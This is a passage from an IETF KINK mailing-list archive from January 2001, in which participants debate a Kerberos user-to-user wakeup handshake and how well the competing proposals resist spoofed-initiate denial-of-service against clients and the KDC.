AP Request - the real server would ignore any AP Requests that it didn't initiate. I suppose the DOS to the server is just the fact that it is receiving these packets from a client and has to process them at all. But in that case, the extra handshake doesn't eliminate this problem - anyone can still send an 'Initiate' to a client with some server's IP address and a client has to respond (just with a different message). Just for that reason, rate limiting would be useful in general. > > > Also, the value of those two extra messages is not in the > user-to-user mode > > but just the fact that the server sends a response back > with the client's > > cookie. If these two messages were to simply contain the > client and server > > cookies (in both messages) and no TGT, you probably > wouldn't loose anything > > in terms of security. The user-to-user part only helps in > the case where > > both sides are PKINIT clients and user-to-user is the only > way to get a > > service ticket. > > Right -- the value is the handshake. I was just overloading the U2U > messages because it would save an extra round-trip later in the case > where we actually _needed_ to use U2U. In other words, if we just > made a regular handshake that just included the cookies, then if the > client needed to use U2U to authenticate then it would need another > round trip in order to obtain the TGT. So why not just send it in the > first place and save that trip later? [sasha] In this case, the GetTGT in the request and TGT in the reply would be optional attributes - if the client doesn't wish to use the user-to-user mode it doesn't have to. Or, the 'initiate' message would have a flag to specify if user-to-user is needed. > > > Sasha. > > -derek > > > > > > -----Original Message----- > > > From: Derek Atkins [mailto:warlord@MIT.EDU] > > > Sent: Wednesday, January 24, 2001 12:28 PM > > > To: Medvinsky, Sasha (SD-EX) > > > Cc: Michael Thomas; Jonathan Trostle; ietf-kink@vpnc.org > > > Subject: Re: KINK user-user scenario > > > > > > > > > Ahh, but those extra packets DO provide extra security -- > it requires > > > the attacker to not only stay in the loop but to provide > their real IP > > > Address in order to get proper responses from the client > and back to > > > the client. This type of attack is extremely easy to > track down, and > > > it directly points to the attacker. In other words, in > my version of > > > the protocol the attacker must provide their real identity (IP > > > Address) before any work is done by the client or KDC. > > > > > > In your version, the attacker could send a fake source-address and > > > never be tracked down. Also, you leave out the client->KDC and > > > KDC->client messages (before the AP Request).. Your > protocol is just > > > as suspect as mine in that respect -- the client would make a KDC > > > request if it needs a ticket (just like it would in mine). > > > > > > The difference is that in my protocol, the client knows that the > > > "server" (or attacker) is real and wants to be a part of > the protocol. > > > If it's an attacker, we know who it is. > > > > > > -derek > > > > > > "Medvinsky, Sasha (SD-EX)" writes: > > > > > > > Derek, > > > > > > > > What I meant is that anyone can send the 'Initiate' command > > > in your proposed > > > > sequence and when the bogus server then gets a GetTGT > > > request, it can reply > > > > with whatever TGT it likes - valid or not. > > > > > > > > In my proposal: server -> client: Authenticate Request > > > > client -> server: AP Request > > > > server -> client: AP Reply > > > > > > > > The Authenticate Request and AP Request are also tied > > > together with a > > > > 'server cookie' and so if the Authenticate Request is from > > > an adversary > > > > impersonating some server and the AP Request is to a real > > > server - the real > > > > server will drop the AP Request. So, the Denial of Service > > > attack wasn't on > > > > the server. Mike Thomas brought up the issue of the zombie > > > attacks on the > > > > KDC, where the clients will send TGS Requests to the KDC > > > after a bogus > > > > Authenticate Request. > > > > > > > > Your proposal doesn't help with this denial of service > > > attack - anyone can > > > > still send the 'Initiate' and wait for the GetTGT, respond > > > with anything > > > > they like. The KDC would still get hit with the TGS > requests for > > > > user-to-user tickets possibly with bogus server TGTs. So, > > > it requires an > > > > adversary to implement a couple more messages. If you want > > > to use the > > > > user-to-user mode, the Authenticate Request could contain > > > the server's TGT > > > > as Mike once proposed. > > > > > > > > I am not sure that this denial of service attack on the > KDC is a big > > > > problem, but my point is that the extra two messages in > > > your proposed flows > > > > (GetTGT requst and response) don't provide any > additional security. > > > > > > > > Sasha. > > > > > > > > > -----Original Message----- > > > > > From: Derek Atkins [mailto:warlord@MIT.EDU] > > > > > Sent: Tuesday, January 23, 2001 6:15 PM > > > > > To: Medvinsky, Sasha (SD-EX) > > > > > Cc: Michael Thomas; Jonathan Trostle; ietf-kink@vpnc.org > > > > > Subject: Re: KINK user-user scenario > > > > > > > > > > > > > > > You're forgetting the client and server cookies :) > > > > > > > > > > The client verifies that the TGT is from the real server > > > because it > > > > > contains a cookie that the client inserted into the > > > GetTGT request. > > > > > The attacker would have to guess the client's > 'cookie' in order to > > > > > send a TGT that the client will accept. In other words, > > > the GetTGT > > > > > request contains two cookies, the server cookie as well > > > as the client > > > > > cookie. > > > > > > > > > > Sure, you're sacked if the attacker can snoop on the > > > network. But in > > > > > case you have other, bigger problems (and zombies are > the worst of > > > > > your worries). > > > > > > > > > > Note that the validity of the TGT is being completely > > > ignored. What > > > > > we get from this protocol is that both the client and the > > > server are > > > > > mutually aware that they want to perform a handoff. > > > > > > > > > > -derek > > > > > > > > > > "Medvinsky, Sasha (SD-EX)" writes: > > > > > > > > > > > Derek, > > > > > > > > > > > > I don't agree that your proposal below protects against all > > > > > types of DOS > > > > > > attacks. It is no different in that respect than my > > > proposal. The > > > > > > adversary doesn't even have to possess a valid TGT. When > > > > > the client receives > > > > > > a response to a "GetTGT", it has no way to verify the TGT > > > > > and simply has to > > > > > > send it over to the KDC. If the adversary wants to have a > > > > > valid TGT, it can > > > > > > get that as well - by snooping. > > > > > > > > > > > > Sasha. > > > > > > > > > > > > > > > > > > > -----Original Message----- > > > > > > > From: Derek Atkins [mailto:warlord@MIT.EDU] > > > > > > > Sent: Tuesday, January 23, 2001 5:40 PM > > > > > > > To: Michael Thomas > > > > > > > Cc: Medvinsky, Sasha (SD-EX); Jonathan Trostle; > > > ietf-kink@vpnc.org > > > > > > > Subject: Re: KINK user-user scenario > > > > > > > > > > > > > > > > > > > > > Michael Thomas writes: > > > > > > > > > > > > > > > Derek Atkins writes: > > > > > > > > > App-Client App-Server KDC > > > > > > > > > <--- Inititate > > > > > > > > > > > > > > > > > > { if no ticket is cached ... > > > > > > > > > > > > > > > > > > { direct case: > > > > > > > > > TGS_REQ ---------------------> > > > > > > > > > <------------------------TGS_REP > > > > > > > > > } > > > > > > > > > { U2U case (or if direct case failed): > > > > > > > > > GetTGT* ---------> > > > > > > > > > <---------- U2U TGT > > > > > > > > > TGS_REQ ---------------------> > > > > > > > > > <------------------------TGS_REP > > > > > > > > > } > > > > > > > > > } > > > > > > > > > > > > > > > > > > AP_REQ* --------> > > > > > > > > > <--------- AP_REP > > > > > > > > > > > > > > > > [snip] > > > > > > > > How so? This looks the same to me as any > other wakeup > > > > > > > > scheme: a minimal amount of work by the attacker (the > > > > > > > > "server" in your diagram) causes the > attacked (client, > > > > > > > > KDC) to generate a non-minimal amount of work and > > > > > > > > traffic. This looks like the same old Zombie kind of > > > > > > > > attack as before. > > > > > > > > > > > > > > It's a modification to the wakeup scheme. Honestly, I > > > > > was thinking > > > > > > > about it in terms of U2U, not regular mode. In the > > > U2U mode, this > > > > > > > does protect against the DoS attacks. But you're right, > > > > > the regular > > > > > > > case only protects the App Server, not the client or > > > KDC (which I > > > > > > > suppose implies an impact on the App Server in that the > > > > > client will > > > > > > > try to initiate connections with anyone). > > > > > > > > > > > > > > This hybrid was based on the pushback of "too > many messages". > > > > > > > Obviously we can go back to my prior suggestion which > > > > > basically adds > > > > > > > one round trip in order to perform the handoff. > > > > > > > > > > > > > > As I said, this is a question for the WG. How > > > important is the > > > > > > > handoff situation, versus how many extra messages do we > > > > > want to add to > > > > > > > support the handoff? And which is more important > to the WG, > > > > > > > supporting a handoff situation with fewer messages or > > > protecting > > > > > > > against DoS? (Putting on my chairman hat, I would > > > suggest that > > > > > > > protecting against DoS is more important than supporting > > > > > handoffs with > > > > > > > fewer messages -- without my hat I consider handoffs > > > to be a lower > > > > > > > priority). > > > > > > > > > > > > > > So, we can go back to my older suggestion: > > > > > > > > > > > > > > C S K > > > > > > > <-- Init > > > > > > > Ack --> (Ack == "GetTGT") > > > > > > > <--- TGT > > > > > > > TGS_REQ -------> (REQ/REP can be repeated for > > > > > > > service ticket > > > > > > > <----------- TGS_REP to U2U > failover or ignored for > > > > > > > cached tickets) > > > > > > > AP_REQ-> > > > > > > > <- AP_REP > > > > > > > > > > > > > > Where the TGS_REQ/TGS_REP could theoretically be > > > either a regular > > > > > > > service-ticket request, a U2U request, or potentially > > > > > both. Obviously > > > > > > > using U2U is just as cheap as anything else at > this point. ;) > > > > > > > > > > > > > > I believe that this protocol _does_ protect against the > > > > > DoS attacks in > > > > > > > all cases, but it does add one extra roundtrip in the > > > case of a > > > > > > > non-U2U case over Sasha's wakeup protocol. > > > > > > > > > > > > > > > Mike > > > > > > > > > > > > > > -derek > > > > > > > > > > > > > > -- > > > > > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media > > > Laboratory > > > > > > > Member, MIT Student Information Processing > > > Board (SIPB) > > > > > > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA > > > N1NWH > > > > > > > warlord@MIT.EDU PGP key > > > available > > > > > > > > > > > > > > > > > -- > > > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media > Laboratory > > > > > Member, MIT Student Information Processing > Board (SIPB) > > > > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA > N1NWH > > > > > warlord@MIT.EDU PGP key > available > > > > > > > > > > > -- > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > > Member, MIT Student Information Processing Board (SIPB) > > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > > > warlord@MIT.EDU PGP key available > > > > > -- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > warlord@MIT.EDU PGP key available > From owner-ietf-kink Wed Jan 24 16:58:48 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id QAA29267 for ietf-kink-bks; Wed, 24 Jan 2001 16:58:48 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA29263 for ; Wed, 24 Jan 2001 16:58:46 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JZAK1JPMT6F0MBW0@GI.COM> for ietf-kink@vpnc.org; Wed, 24 Jan 2001 17:04:29 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 24 Jan 2001 17:02:30 -0500 Content-return: allowed Date: Wed, 24 Jan 2001 20:06:06 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: KINK user-user scenario To: "'Michael Thomas'" Cc: "'Derek Atkins'" , Jonathan Trostle , ietf-kink@vpnc.org Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD4B32@NTAS0027> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Mike, An adversary can spoof someone you trust, but I am not sure what it would achieve. Since tickets are normally cached, a client would not go back to the KDC each time to get a new ticket. Also, if the 'Initiate' and 'AP Req' are bound with a 'server cookie', the real server you spoofed is not going to respond to this AP Req - the DOS is just on the KDC. I would say that the KDC has to handle the load of clients requesting tickets for the servers that they trust - as long as the clients don't keep requesting new tickets before old ones expire. So, if you implement your Kerberos client, where if it doesn't get a response to an AP Request it removes the ticket from the cache, you would have a problem. If you leave valid tickets in the ticket cache until they expire, this is not a problem. Sasha. > -----Original Message----- > From: Michael Thomas [mailto:mat@cisco.com] > Sent: Wednesday, January 24, 2001 3:09 PM > To: Medvinsky, Sasha (SD-EX) > Cc: 'Derek Atkins'; Michael Thomas; Jonathan Trostle; > ietf-kink@vpnc.org > Subject: RE: KINK user-user scenario > > > Medvinsky, Sasha (SD-EX) writes: > > I would contend though that the 'GetTGT' and 'GetTGT > response' messages are > > optional. For example, if the client receiving the > 'Initiate' already knows > > who that server is and trusts it, even if it doesn't have > a ticket for it > > already, it does not need to send GetTGT. If the server > name in the > > 'Initiate' is unknown to the recipient, it can send a > 'GetTGT' to get some > > guarantee about the server's IP address. > > Since 'initiate' isn't authenticated, why can't I just > spoof somebody you observably trust to mount the attack? > > Mike > From owner-ietf-kink Wed Jan 24 17:05:59 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id RAA29429 for ietf-kink-bks; Wed, 24 Jan 2001 17:05:59 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA29425 for ; Wed, 24 Jan 2001 17:05:57 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id UAA30286; Wed, 24 Jan 2001 20:12:10 -0500 To: "Medvinsky, Sasha (SD-EX)" Cc: Michael Thomas , Jonathan Trostle , ietf-kink@vpnc.org Subject: Re: KINK user-user scenario References: <97DEDE66B3DCD11199D200805FA71BE202FD4B31@NTAS0027> From: Derek Atkins Date: 24 Jan 2001 20:12:10 -0500 In-Reply-To: "Medvinsky, Sasha's message of "Wed, 24 Jan 2001 19:58:25 -0500" Message-ID: Lines: 26 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: "Medvinsky, Sasha (SD-EX)" writes: > [sasha] This is not a big problem if you have a 'server cookie' in the > initiate and then again in the AP Request - the real server would ignore any > AP Requests that it didn't initiate. I suppose the DOS to the server is just > the fact that it is receiving these packets from a client and has to process > them at all. But in that case, the extra handshake doesn't eliminate this > problem - anyone can still send an 'Initiate' to a client with some server's > IP address and a client has to respond (just with a different message). > Just for that reason, rate limiting would be useful in general. This doesn't protect the KDC. An attacker could send a request for a bunch of servers and cause the client to go off the KDC and expend a lot of energy. In the packetcable case, an attacker could basically force all the clients to 'rekey' to all the "known" CMSes, all at once! The extra handshake _does_ eliminate this problem, because no real work would be done (except sending messages) until both sides actually agree that work should be done. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Wed Jan 24 17:10:18 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id RAA29489 for ietf-kink-bks; Wed, 24 Jan 2001 17:10:18 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA29485 for ; Wed, 24 Jan 2001 17:10:17 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id UAA30290; Wed, 24 Jan 2001 20:16:29 -0500 To: "Medvinsky, Sasha (SD-EX)" Cc: "'Michael Thomas'" , Jonathan Trostle , ietf-kink@vpnc.org Subject: Re: KINK user-user scenario References: <97DEDE66B3DCD11199D200805FA71BE202FD4B32@NTAS0027> From: Derek Atkins Date: 24 Jan 2001 20:16:29 -0500 In-Reply-To: "Medvinsky, Sasha's message of "Wed, 24 Jan 2001 20:06:06 -0500" Message-ID: Lines: 37 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: "Medvinsky, Sasha (SD-EX)" writes: > Mike, > > An adversary can spoof someone you trust, but I am not sure what it would > achieve. Since tickets are normally cached, a client would not go back to > the KDC each time to get a new ticket. Also, if the 'Initiate' and 'AP Req' You can't assume tickets are cached. Again, in the packetcable case, you might have a CMS cluster that contains e.g. 10 machines. In your proposal an attacker could basically cause ALL of your clients to authenticate to each of those 10 machines, all at once. > are bound with a 'server cookie', the real server you spoofed is not going > to respond to this AP Req - the DOS is just on the KDC. I would say that > the KDC has to handle the load of clients requesting tickets for the servers > that they trust - as long as the clients don't keep requesting new tickets > before old ones expire. > > So, if you implement your Kerberos client, where if it doesn't get a > response to an AP Request it removes the ticket from the cache, you would > have a problem. If you leave valid tickets in the ticket cache until they > expire, this is not a problem. You're still causing the client to do work, because it still has to form an authenticator -- and it would have to do this for every Initiate request that an attacker sends. > Sasha. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Wed Jan 24 17:13:30 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id RAA29549 for ietf-kink-bks; Wed, 24 Jan 2001 17:13:30 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA29545 for ; Wed, 24 Jan 2001 17:13:29 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JZAKJTLZRCF0MBBC@GI.COM> for ietf-kink@vpnc.org; Wed, 24 Jan 2001 17:19:12 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 24 Jan 2001 17:17:14 -0500 Content-return: allowed Date: Wed, 24 Jan 2001 20:20:50 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: KINK user-user scenario To: "'Derek Atkins'" Cc: Michael Thomas , Jonathan Trostle , ietf-kink@vpnc.org Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD4B35@NTAS0027> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek, In the PacketCable case the client (MTA) doesn't have an option to not rekey with a particular server (CMS). There is a MIB table that tells the MTA with which CMS it should establish IPSec SAs. The WakeUp mechanism in PacketCable is used either for error recovery (e.g. when the server reboots) or when the same "clustered" server with the same name is switching from one IP address to another. But when it is switching only between IP addresses, the client would reuse the same ticket and not talk to the KDC. The client is basically required to maintain tickets for any server that it knows about. In the general case outside of PacketCable - I already agreed with you that the extra handshake would be useful to protect the KDC against this type of DOS. I was just clarifying that the DOS is on the KDC - not the application server. Sasha. > -----Original Message----- > From: Derek Atkins [mailto:warlord@MIT.EDU] > Sent: Wednesday, January 24, 2001 5:12 PM > To: Medvinsky, Sasha (SD-EX) > Cc: Michael Thomas; Jonathan Trostle; ietf-kink@vpnc.org > Subject: Re: KINK user-user scenario > > > "Medvinsky, Sasha (SD-EX)" writes: > > > [sasha] This is not a big problem if you have a 'server > cookie' in the > > initiate and then again in the AP Request - the real server > would ignore any > > AP Requests that it didn't initiate. I suppose the DOS to > the server is just > > the fact that it is receiving these packets from a client > and has to process > > them at all. But in that case, the extra handshake doesn't > eliminate this > > problem - anyone can still send an 'Initiate' to a client > with some server's > > IP address and a client has to respond (just with a > different message). > > Just for that reason, rate limiting would be useful in general. > > This doesn't protect the KDC. An attacker could send a request for a > bunch of servers and cause the client to go off the KDC and expend a > lot of energy. In the packetcable case, an attacker could basically > force all the clients to 'rekey' to all the "known" CMSes, all at > once! The extra handshake _does_ eliminate this problem, because no > real work would be done (except sending messages) until both sides > actually agree that work should be done. > > -derek > > -- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > warlord@MIT.EDU PGP key available > From owner-ietf-kink Thu Jan 25 12:44:11 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id MAA28958 for ietf-kink-bks; Thu, 25 Jan 2001 12:44:11 -0800 (PST) Received: from zcars04e.ca.nortel.com (h56s242a129n47.user.nortelnetworks.com [47.129.242.56]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA28952 for ; Thu, 25 Jan 2001 12:44:09 -0800 (PST) Received: from zcard00n.ca.nortel.com by zcars04e.ca.nortel.com; Thu, 25 Jan 2001 15:44:37 -0500 Received: from zmerd009.ca.nortel.com ([47.131.54.168]) by zcard00n.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id DT7FGKCJ; Thu, 25 Jan 2001 15:44:38 -0500 Received: from mbroda1 (bmery3e3.ca.nortel.com [47.214.114.83]) by zmerd009.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id ZLJQK8DW; Thu, 25 Jan 2001 15:44:38 -0500 From: "Matthew Broda" To: Derek Atkins , "Medvinsky, Sasha (SD-EX)" Cc: Michael Thomas , Jonathan Trostle , ietf-kink Subject: RE: KINK user-user scenario Date: Thu, 25 Jan 2001 15:46:32 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 In-Reply-To: Importance: Normal X-Orig: Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek, Is there anything to prevent the initiator with a spoofed IP address to send the initiate message, wait for a certain period of time, and then send the bogus U2U TGT without ever looking for the GetTGT message? Matt | -----Original Message----- | From: owner-ietf-kink@mail.vpnc.org | [mailto:owner-ietf-kink@mail.vpnc.org]On Behalf Of Derek Atkins | Sent: Wednesday, January 24, 2001 3:28 PM | To: Medvinsky, Sasha (SD-EX) | Cc: Michael Thomas; Jonathan Trostle; ietf-kink@vpnc.org | Subject: Re: KINK user-user scenario | | | Ahh, but those extra packets DO provide extra security -- it requires | the attacker to not only stay in the loop but to provide their real IP | Address in order to get proper responses from the client and back to | the client. This type of attack is extremely easy to track down, and | it directly points to the attacker. In other words, in my version of | the protocol the attacker must provide their real identity (IP | Address) before any work is done by the client or KDC. | | In your version, the attacker could send a fake source-address and | never be tracked down. Also, you leave out the client->KDC and | KDC->client messages (before the AP Request).. Your protocol is just | as suspect as mine in that respect -- the client would make a KDC | request if it needs a ticket (just like it would in mine). | | The difference is that in my protocol, the client knows that the | "server" (or attacker) is real and wants to be a part of the protocol. | If it's an attacker, we know who it is. | | -derek | | "Medvinsky, Sasha (SD-EX)" writes: | | > Derek, | > | > What I meant is that anyone can send the 'Initiate' command in your proposed | > sequence and when the bogus server then gets a GetTGT request, it can reply | > with whatever TGT it likes - valid or not. | > | > In my proposal: server -> client: Authenticate Request | > client -> server: AP Request | > server -> client: AP Reply | > | > The Authenticate Request and AP Request are also tied together with a | > 'server cookie' and so if the Authenticate Request is from an adversary | > impersonating some server and the AP Request is to a real server - the real | > server will drop the AP Request. So, the Denial of Service attack wasn't on | > the server. Mike Thomas brought up the issue of the zombie attacks on the | > KDC, where the clients will send TGS Requests to the KDC after a bogus | > Authenticate Request. | > | > Your proposal doesn't help with this denial of service attack - anyone can | > still send the 'Initiate' and wait for the GetTGT, respond with anything | > they like. The KDC would still get hit with the TGS requests for | > user-to-user tickets possibly with bogus server TGTs. So, it requires an | > adversary to implement a couple more messages. If you want to use the | > user-to-user mode, the Authenticate Request could contain the server's TGT | > as Mike once proposed. | > | > I am not sure that this denial of service attack on the KDC is a big | > problem, but my point is that the extra two messages in your proposed flows | > (GetTGT requst and response) don't provide any additional security. | > | > Sasha. | > | > > -----Original Message----- | > > From: Derek Atkins [mailto:warlord@MIT.EDU] | > > Sent: Tuesday, January 23, 2001 6:15 PM | > > To: Medvinsky, Sasha (SD-EX) | > > Cc: Michael Thomas; Jonathan Trostle; ietf-kink@vpnc.org | > > Subject: Re: KINK user-user scenario | > > | > > | > > You're forgetting the client and server cookies :) | > > | > > The client verifies that the TGT is from the real server because it | > > contains a cookie that the client inserted into the GetTGT request. | > > The attacker would have to guess the client's 'cookie' in order to | > > send a TGT that the client will accept. In other words, the GetTGT | > > request contains two cookies, the server cookie as well as the client | > > cookie. | > > | > > Sure, you're sacked if the attacker can snoop on the network. But in | > > case you have other, bigger problems (and zombies are the worst of | > > your worries). | > > | > > Note that the validity of the TGT is being completely ignored. What | > > we get from this protocol is that both the client and the server are | > > mutually aware that they want to perform a handoff. | > > | > > -derek | > > | > > "Medvinsky, Sasha (SD-EX)" writes: | > > | > > > Derek, | > > > | > > > I don't agree that your proposal below protects against all | > > types of DOS | > > > attacks. It is no different in that respect than my proposal. The | > > > adversary doesn't even have to possess a valid TGT. When | > > the client receives | > > > a response to a "GetTGT", it has no way to verify the TGT | > > and simply has to | > > > send it over to the KDC. If the adversary wants to have a | > > valid TGT, it can | > > > get that as well - by snooping. | > > > | > > > Sasha. | > > > | > > > | > > > > -----Original Message----- | > > > > From: Derek Atkins [mailto:warlord@MIT.EDU] | > > > > Sent: Tuesday, January 23, 2001 5:40 PM | > > > > To: Michael Thomas | > > > > Cc: Medvinsky, Sasha (SD-EX); Jonathan Trostle; ietf-kink@vpnc.org | > > > > Subject: Re: KINK user-user scenario | > > > > | > > > > | > > > > Michael Thomas writes: | > > > > | > > > > > Derek Atkins writes: | > > > > > > App-Client App-Server KDC | > > > > > > <--- Inititate | > > > > > > | > > > > > > { if no ticket is cached ... | > > > > > > | > > > > > > { direct case: | > > > > > > TGS_REQ ---------------------> | > > > > > > <------------------------TGS_REP | > > > > > > } | > > > > > > { U2U case (or if direct case failed): | > > > > > > GetTGT* ---------> | > > > > > > <---------- U2U TGT | > > > > > > TGS_REQ ---------------------> | > > > > > > <------------------------TGS_REP | > > > > > > } | > > > > > > } | > > > > > > | > > > > > > AP_REQ* --------> | > > > > > > <--------- AP_REP | > > > > > > | > > > > [snip] | > > > > > How so? This looks the same to me as any other wakeup | > > > > > scheme: a minimal amount of work by the attacker (the | > > > > > "server" in your diagram) causes the attacked (client, | > > > > > KDC) to generate a non-minimal amount of work and | > > > > > traffic. This looks like the same old Zombie kind of | > > > > > attack as before. | > > > > | > > > > It's a modification to the wakeup scheme. Honestly, I | > > was thinking | > > > > about it in terms of U2U, not regular mode. In the U2U mode, this | > > > > does protect against the DoS attacks. But you're right, | > > the regular | > > > > case only protects the App Server, not the client or KDC (which I | > > > > suppose implies an impact on the App Server in that the | > > client will | > > > > try to initiate connections with anyone). | > > > > | > > > > This hybrid was based on the pushback of "too many messages". | > > > > Obviously we can go back to my prior suggestion which | > > basically adds | > > > > one round trip in order to perform the handoff. | > > > > | > > > > As I said, this is a question for the WG. How important is the | > > > > handoff situation, versus how many extra messages do we | > > want to add to | > > > > support the handoff? And which is more important to the WG, | > > > > supporting a handoff situation with fewer messages or protecting | > > > > against DoS? (Putting on my chairman hat, I would suggest that | > > > > protecting against DoS is more important than supporting | > > handoffs with | > > > > fewer messages -- without my hat I consider handoffs to be a lower | > > > > priority). | > > > > | > > > > So, we can go back to my older suggestion: | > > > > | > > > > C S K | > > > > <-- Init | > > > > Ack --> (Ack == "GetTGT") | > > > > <--- TGT | > > > > TGS_REQ -------> (REQ/REP can be repeated for | > > > > service ticket | > > > > <----------- TGS_REP to U2U failover or ignored for | > > > > cached tickets) | > > > > AP_REQ-> | > > > > <- AP_REP | > > > > | > > > > Where the TGS_REQ/TGS_REP could theoretically be either a regular | > > > > service-ticket request, a U2U request, or potentially | > > both. Obviously | > > > > using U2U is just as cheap as anything else at this point. ;) | > > > > | > > > > I believe that this protocol _does_ protect against the | > > DoS attacks in | > > > > all cases, but it does add one extra roundtrip in the case of a | > > > > non-U2U case over Sasha's wakeup protocol. | > > > > | > > > > > Mike | > > > > | > > > > -derek | > > > > | > > > > -- | > > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory | > > > > Member, MIT Student Information Processing Board (SIPB) | > > > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH | > > > > warlord@MIT.EDU PGP key available | > > > > | > > | > > -- | > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory | > > Member, MIT Student Information Processing Board (SIPB) | > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH | > > warlord@MIT.EDU PGP key available | > > | | -- | Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory | Member, MIT Student Information Processing Board (SIPB) | URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH | warlord@MIT.EDU PGP key available From owner-ietf-kink Thu Jan 25 12:58:29 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id MAA29742 for ietf-kink-bks; Thu, 25 Jan 2001 12:58:29 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA29731 for ; Thu, 25 Jan 2001 12:58:27 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id QAA18162; Thu, 25 Jan 2001 16:01:13 -0500 To: "Matthew Broda" Cc: "Medvinsky, Sasha (SD-EX)" , Michael Thomas , Jonathan Trostle , ietf-kink Subject: Re: KINK user-user scenario References: From: Derek Atkins Date: 25 Jan 2001 16:01:13 -0500 In-Reply-To: "Matthew Broda"'s message of "Thu, 25 Jan 2001 15:46:32 -0500" Message-ID: Lines: 242 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Yes, the U2U TGT requires a client cookie that the client sends as part of the GetTGT. Without that client cookie the attacker cannot send a message that the client won't ignore. -derek "Matthew Broda" writes: > Derek, > > Is there anything to prevent the initiator with a spoofed IP address to send the > initiate message, wait for a certain period of time, and then send the bogus U2U > TGT without ever looking for the GetTGT message? > > Matt > > | -----Original Message----- > | From: owner-ietf-kink@mail.vpnc.org > | [mailto:owner-ietf-kink@mail.vpnc.org]On Behalf Of Derek Atkins > | Sent: Wednesday, January 24, 2001 3:28 PM > | To: Medvinsky, Sasha (SD-EX) > | Cc: Michael Thomas; Jonathan Trostle; ietf-kink@vpnc.org > | Subject: Re: KINK user-user scenario > | > | > | Ahh, but those extra packets DO provide extra security -- it requires > | the attacker to not 